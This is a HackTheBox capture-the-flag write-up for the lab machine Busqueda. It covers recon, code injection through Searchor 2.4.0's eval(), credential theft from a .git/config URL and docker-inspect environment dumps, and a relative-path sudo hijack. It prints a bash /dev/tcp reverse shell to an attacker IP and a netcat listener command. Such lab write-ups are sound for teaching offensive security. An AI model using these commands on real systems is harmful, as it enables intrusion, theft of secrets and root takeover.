All writeups

Busqueda

Easy HackTheBox Completed
RCEWebEnumerationPrivescLinux

4 April 2026

HackTheBox — Busqueda (Easy)

Recon

nmap -sC -sV -p- -oN busqueda_full.nmap 10.10.11.208

Just 22 and 80. Port 80 redirected to searcher.htb, so I added that to /etc/hosts first (forgot to, got a connection error, then remembered — the usual). The footer gave it away: Flask + Searchor 2.4.0. That version has a known Python code injection through eval() in the engine parameter.

Foothold

Searchor 2.4.0 builds the search and runs it through eval() without sanitising anything, so the engine parameter is just RCE. Set up a listener:

nc -lvnp 13337

Then sent a Python reverse shell in the engine field via Burp. Server returned 200 and the browser bounced to AccuWeather — that redirect is how you know eval() actually ran it. Shell as svc in /var/www/app.

Privesc

First thing in a webroot: check .git. /var/www/app/.git/config had a Gitea remote URL with creds baked into it:

http://cody:[REDACTED]@gitea.searcher.htb/cody/Searcher_site.git

Cody's password also worked for the administrator account on the internal Gitea (3000). Then sudo:

svc@busqueda:~$ sudo -l
    (ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/scripts/system-checkup.py *

system-checkup.py has docker-ps, docker-inspect and full-checkup. docker-inspect with a Go template dumps the gitea container's env:

sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' gitea | jq

That leaked GITEA__database__PASSWD=[REDACTED] → into Gitea as administrator → the private repo with the system-checkup.py source. Reading it, full-checkup calls ./full-checkup.sh — a relative path. So whatever directory you run it from, it runs your file:

cd /tmp
printf '#!/bin/bash\nbash -i >& /dev/tcp/10.10.14.5/9001 0>&1\n' > full-checkup.sh
chmod +x full-checkup.sh
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

Root shell.

What I took away

The whole chain hinges on two lazy patterns: credentials living in a .git/config URL (always check that in a webroot), and a relative ./full-checkup.sh in a sudo-run script — that one line is the entire root. The docker-inspect step also stuck with me: anything that can read container env vars via sudo is effectively handing out every secret in them.

Want to try this CTF challenge yourself? Click here
🔒 Protect your IP while hacking — use a VPN NordVPN →
🚩 New to CTF? TryHackMe is perfect for beginners TryHackMe →